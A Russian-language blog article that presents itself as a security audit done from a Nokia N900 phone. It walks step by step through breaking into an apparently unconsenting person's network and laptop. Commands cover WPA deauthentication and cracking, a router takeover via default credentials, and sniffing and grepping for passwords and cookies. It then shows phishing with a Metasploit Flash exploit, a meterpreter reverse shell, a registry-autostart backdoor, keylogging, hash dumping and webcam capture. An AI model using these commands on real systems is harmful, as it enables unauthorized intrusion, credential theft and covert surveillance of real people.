Pull to refresh

Аудит безопасности с телефона Nokia N900

Доброго времени суток %username%.

image
В этой статье речь пойдет о взло аудите Wi-Fi сети, снифифнге и безопасности компьютера в целом.
Разъяснять по пунктам все функции, опции и теорию взлома я не буду, на хабре с десяток статей по тем утилитам, которые я буду использовать в данном материале, тут речь пойдет больше о практике.
Цель-получить рута(ну или админа) на удаленной машине.
В качестве инструмента по взлому я выбрал телефон Nokia N900. Под рукой имеются и более мощные машины, скажем так в десятки раз мощнее, но если бы я использовал рядовой х86 компьютер, согласитесь не было бы так интересно.

Если заинтересовало — добро пожаловать под кат --> (Трафик ~ 3 мб )

Немного о самом аппарате:
Nokia N900 является продолжением линейки серии Nххх и в отличии от братьев меньших имеет встроенный модуль сотовой связи и естественное логическое продолжение и улучшение линейки.

Аппарат работает под платформой Maemo, на ядре дебиана 2.6.28. Что позволило комьюнити маемо портировать на аппарат очень много интересного софта, которым мы собственно и будем пользоваться. Подробнее об аппарате можно узнать в местном блоге Nokia
image
Стандартное ядро аппарата было заменено на кастромное сборки «Power46» к которому в ходе проекта Kernel-Power было добавлено много разных плюшек + установлен небольшой апгрейд, позволяющий использовать активную атаку в сетевых утилитах типа aircrack-ng.
Про установку софта писать я не вижу смысла, в принципе ничего сложного, могут возникнуть вопросы с ядром, а так всё делается через стандартный apt-get.

Итак, для начала нам нужно пробраться в сеть, посмотреть что там к чему и далее “импровизировать”.

Глава 1. Аудит сети.



Заходим в терминал из под рута и делаем следующее:

Загружаем драйвера для адекватной работы инъекций на аппарате:
# cd MyDocs/wl1251-maemo/binary/compat-wireless
/home/user/MyDocs/wl1251-maemo/binary/compat-wireless # sh load.sh


Меняем мак адрес аппарата из-за соображения безопасности так сказать:
# macchanger -A wlan0
Сменить мак стандартными средствами ifconfig не получилось, решил использовать macchanger

Включаем режим монитора
#airmon-ng start wlan0
image
Теперь посмотрим, что есть в сети
#airodump-ng wlan0
image
Видим, что в сети есть wifi к которому кто-то уже подключен, попробуем отключить пользователя и перехватить хендшейк. Для этого сначала ставим airodump на запись и скан только по первому каналу и чтобы не ловить лишнего прописываем фильтр по мак адреусу
#airodump-ng –с 1 –w dlink wlan0 –-bbsid [тут мак адрес]
image
открываем новое окно, проверяем как обстоят дела с инъекциями:
#aireplay-ng -9 wlan0
image
Отличненько! Работает всё, теперь отключаем:
#aireplay-ng -0 3 –a [мак адрес точки] –с [мак адрес подключённого пользователя] wlan0

Отправили 3 пакета на отключение на всякий случай и смотрим что получилось:
image
Итак как видим на скриншоте мы поймали хендшейк, теперь приступим к взлому, перед этим разогнав аппарат побыстрее:
#kernel-config limits 125 1150
Скажу сразу, взлом WPA с телефона очень медленный, к сравнению с компьютера взлом средствами процессора даёт примерно до 4-х тысяч паролей в секунду, с CUDA на не очень мощной 295-ой видюхой Nvidia скорость взлома в среднем 60 тысяч паролей в секунду, ну а на телефоне всё, на что способен ARM Cortex-A8 – 125 паролей в секунду с разгоном до 1,15 Ггц.
Тем не менее, я решил попробовать, результат меня приятно удивил:
#aircrack-ng –w MyDocs/pass.dic dlink*.cap
image
Не успел я заварить кофе, как через 4 минуты aircrack-ng нашел пароль «1234567890», это можно назвать везением, т.к. скажем для прошлого перебора мне потребовалось перебрать чуть более 12-ти миллионов ключей по 9-ти различным словарям, прежде чем я нашёл пароль.
Дальше переведя вафлю в стандартный режим я решил подключиться к сети, подключился без проблем, т.к. фильтрации по мак адресу не было, что было крайне предсказуемо учитывая выбор такого пароля. Теперь нужно было понять куда мы подключились и что с этим делать:

Глава 2. В сети



Для сбора информации использовались проги wireshark и чтобы в куче хлама найти заветную инфу- grep. Но снифить WPA сеть достаточно тяжело, в открытом текстовом виде данные не передаются, на свой страх и риск, рассчитывая на то, что пользователь совсем ламер я решил зайти в админку роутера и сменить шифрование, не меняя пароль, конечно это может быть и глупо поскольку даже дурак заподозрит что-то неладное, но я отталкивался от мысли, что роутер называется дефолтно dlink а пароль к нему 1234567890, что заставляло меня усомниться в компьютерных способностях пользователя. Подключившись к сети, проверил адрес ifconfig-ом, адрес стандартный 192.168.1.101 следовательно админка длинка должна быть 192.168.1.1 и пароль по дефолту пустой, логин админ, смотрим… и да, мои ожидания оправдались, я попал в админку, после чего сменил шифрование, оставив тот-же пароль.

Дальше оставалось только ждать, и спустя некоторое время, вконец измучившись(прошло 2 часа), возможно обзвонив друзей и техподдержку провайдера, о чудо, юзер зашёл в сеть, не сменив её настройки!
image

Далее открываем wireshark и выставляем в опциях захват пакетов в файл.
Отлично, захват пошёл, и беглым взглядом мы видим, что до нас уже тут кто-то побывал, компьютер беспрерывно шлёт NBNS запросы с именами ballscindi.com, gusssiss.com, alazag.com и brutusshawn.com беглым взглядом в гугле мои подозрения подтвердились, адерса есть в чёрных списках. Немного забегая вперёд скажу, что нашёл в директории Windows интересную папку NEWSPLOIT в которой лежали документы word, exel, power point, и RTF файл, естественно документы «не рабочие» или пустые и в скором времени вызывают подвисание или выключение программы, возможно уязвимость в оффисе и стала причиной попадания данного компьютера в ботнет сеть.
image
а теперь поищим грепом некоторые полезные сведения, для этого вводим:
#tail -F zahvat | cat | grep -aEo «remixsid=[0-9a-f]+|l=[0-9]{3,12}|p=[0-9a-f]{36}|email=[^&]+&pass=[^ ]+|c_user=[0-9]+|sid=[0-9]{1,5}|xs=[0-9a-f]{32}|login=[^&]+|password=[^&]+|admin=[^&]+|cookie=[0-9a-f]+»
image
И спустя некоторое время видим эмейл и пароль пользователя. Но этого не достаточно, смотрим повнимательней и видим среди трафика строчку User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
image
Да, мои подозрения целиком и полностью подтвердились, через браузер ИЕ6 в ХР-ку пробраться труда не составит, главное найти подходящий сплоит и грамотно его впарить.


Часть 3. Проникаем в компьютер



Итак, чего мы имеем?
По пойманным данным мы можем судить о следующем, пользователь сидит в сети с ноутбука фирмы Тошиба, имеет как минимум 1 троян, через который посредством NetBIOS запросов и UDP протокола компьютер функционирует в ботнет сети и в данный момент находится в режиме ожидания, следовательно если даже у владельца и есть антивирус, то уж точно не обновляющийся некоторое время, так-же мы знаем почту и пароль от неё и от десятка ресурсов, порывшись в почте, мы знаем имя владельца и его персональные данные, а так-же имена коллег по работе. Используя эту информацию мы с лёгкостью сможем скинуть сплоит пользователю, осталось только выбрать какой.
Скажу так, испробовал я с десяток сплоитов, но поскольку винда, хоть и ХР — обновления она получает регулярно, поэтому я остановился на сплоите сторонней, но очень популярной программы компании Adobe- Flash player-e, а именно на уязвимостях CVE-2011-0609 и CVE-2011-0611, с первой уязвимостью ничего не вышло, зато вторая оказалась работоспособной целиком и полностью, теперь опишу сам процесс в общих чертах.
Для начала решаем чего-же нужно? А именно получить полный доступ к компьютеру, скинуть бэкдор, чтобы компьютер всегда был в доступе и посмотреть некоторые функции шелла.
Обновляем метасплоит:
#ruby1.8 /home/user/msf3/msfupdate
Запускаем метасплоит:
#ruby1.8 /home/user/msf3/msfconsole –L
Далее выбираем сплоит:
>use exploit/windows/browser/adobe_flashplayer_flas10o
Выбираем нагрзку, будем использовать классический meterpreter:
>set payload windows/meterpreter /reverse_tcp
Смотрим через ifconfig свой адрес и вводим настройки локального хоста сплоита:
>set lhost 192.168.1.101
После хост сервера:
>set srvhost 192.168.1.101
Запускаем:
>exploit
image
После запуска нам необходимо как-то придать человеческий вид ссылке, поэтому используем ресурс “сокращения” ссылок, я буду пользовать этот
image
Теперь ссылку нужно «впарить» Тут вспоминаем чего мы узнали на почте и регистрируем новый аккаунт для отправки письма примерно следующего содержания:
image
Спустя некоторое время:
image
Ура! Мы в системе. Далее нужно посмотреть процессы на предмет антивируса, перебраться в другой процесс из блокнота и записать бэкдор, приступим.
Открываем сессию:
> sessions –i 1
Запрашиваем инфу о системе, чтобы убедиться что есть коннект:
> sysinfo
Смотрим процессы:
>ps
Антивирус есть и кстати довольно извесный, раз я подключился, то антивирус либо отключен, либо давно не обновлялся, либо без лицензии, рискнём и мигрируем в explorer:
>migrate [pid]
image
Получилось! Далее повышаем права до системы:
>getsystem
Прогружаем библиатеку для добавления нового пользователя:
>use incognito
И пытаемся зарегестрировать нового админа:
>add_user [login] [pass]
image

image
Итак, пользователя создали, а вот добавить его в группу администраторов, увы не получилось, ну да ладно, включим удалённый рабочий стол
> run getgui -e (на всякий случай)
И соберём бэкдор:
#ruby1.8 msfpayload windows/meterpreter/reverse_tcp LHOST=[адрес] LPORT=4444 X > /путь к файлу/файл.exe
image

image
Теперь загрузим файл и запишем ключ в реестр на автозагрузку:
> reg setval –k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\run –v [имя ключа] -d [команда]
image
Тестируем:
>use exploit/multi/handler
>set PAYLOAD windows/meterpreter/reverse_tcp
>set LHOST [ваш адрес]

image

image
Спустя некоторое время после перезагрузки мы снова в системе. Теперь рассмотрим некоторые фишки meterpreter-a.
Скриншот экрана:
>screenshot
image
Кейлоггер
>keyscan_start
>keyscan_dump
>keyscan_stop

Русский язык не работает, можно переводить всё через сторонние утилиты или через некоторые веб ресурсы, не помню точно где, но видел такую возможность.
image
Закрываем процесс:
> kill [pid]
image
Скачиваем файл:
> download [файл] [путь].
Собираем хеш:
> hashdump
image
Получаем доступ к консоли запустив в фоне cmd и войдя в него:
>execute –а cmd.exe –с
И чтобы войти:
>interact [выбираем канал]
(как видем на скрине, у этого шелла есть явные проблемы с кодировкой)
image
Делаем снимок с вебкамеры, довольно палевно, учитывая что практически на всех камерах есть световые, а иногда и звуковые индикаторы:
> webcam_snap
image
Как мы видим качество снимка ужасное и толком ничего не разберёшь, но всё-же это меня поразило когда-то больше всего.
image
Так-же из интересного — можно записывать с микрофона звуки, но у меня никогда не выходило, писало ровно в секунду длинной, сколько бы время не выставлял времени и прекращалось. Как и практически во всех консольных утилитах полный список возможностей можно получить коммандой help.
Вобщем как мы видим возможности безграничны практически, к возможностям самого шелла добавляется консоль виндовса, большего в принципе и ненужно, и в конце всего можно написать только одно – OWNED:)

Глава 4. Заключение


В этой небольшой статье-обзоре я показал некоторые возможности планшета n900, и крайне популярных программ. Эта статья не претендует на уникальность взлома и врятли покажет чего-то новое тому, кто уже вник в процесс аудита безопасности, тут скорее уникальность заключается в том, что всё это было проделано с сотового телефона, ну и я показал работу «горячей» уязвимости 2-х недельной давности. Извиняюсь если где-то есть ошибки или неточности, время 5 часов утра и уже сильно клонит в сон.
Ну а что касательно самого “аудита” этот случай, скорей исключение, чем правило. С такой лёгкостью можно взломать лишь человека, который вобще далёкого от компьютера, естественно пользы от такого совсем мало, порою уязвимость можно искать неделями, а перебор пароля к роутеру вести по 2 дня без перерыва, собственно меня и сподвигло к написанию этой статьи такая возможность, описать на одном наглядном примере сразу несколько утилит, работающих вместе для достижения конкретной цели, так еще и с явно нестандартного для этих целей устройства.

Надеюсь статья кому-нибудь будет поезна, особенно начинающим в этом деле, ведь всё описанное тут спокойно можно 1 в 1 выполнять на компьютере в той-же последовательности.

P.S. Для ленивых:

Всё описанное тут можно спокойно проверить самостоятельно, установив винду XP на виртуальную машину(или куда либо еще) и скачав флеш плеер версии 10.2.153.1 тут(ссылка на пиратскую бухту, извиняюсь, но не нашёл другого ресурса где спокойно 24/7 без ожидания и кодов и на нормальной скорости можно скачать «старую» версию флешплеера),
Ознакомиться с исходным кодом эксплоита можно здесть,
Весь софт можно найти тут в одном немало известном дистрибьютиве.
Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.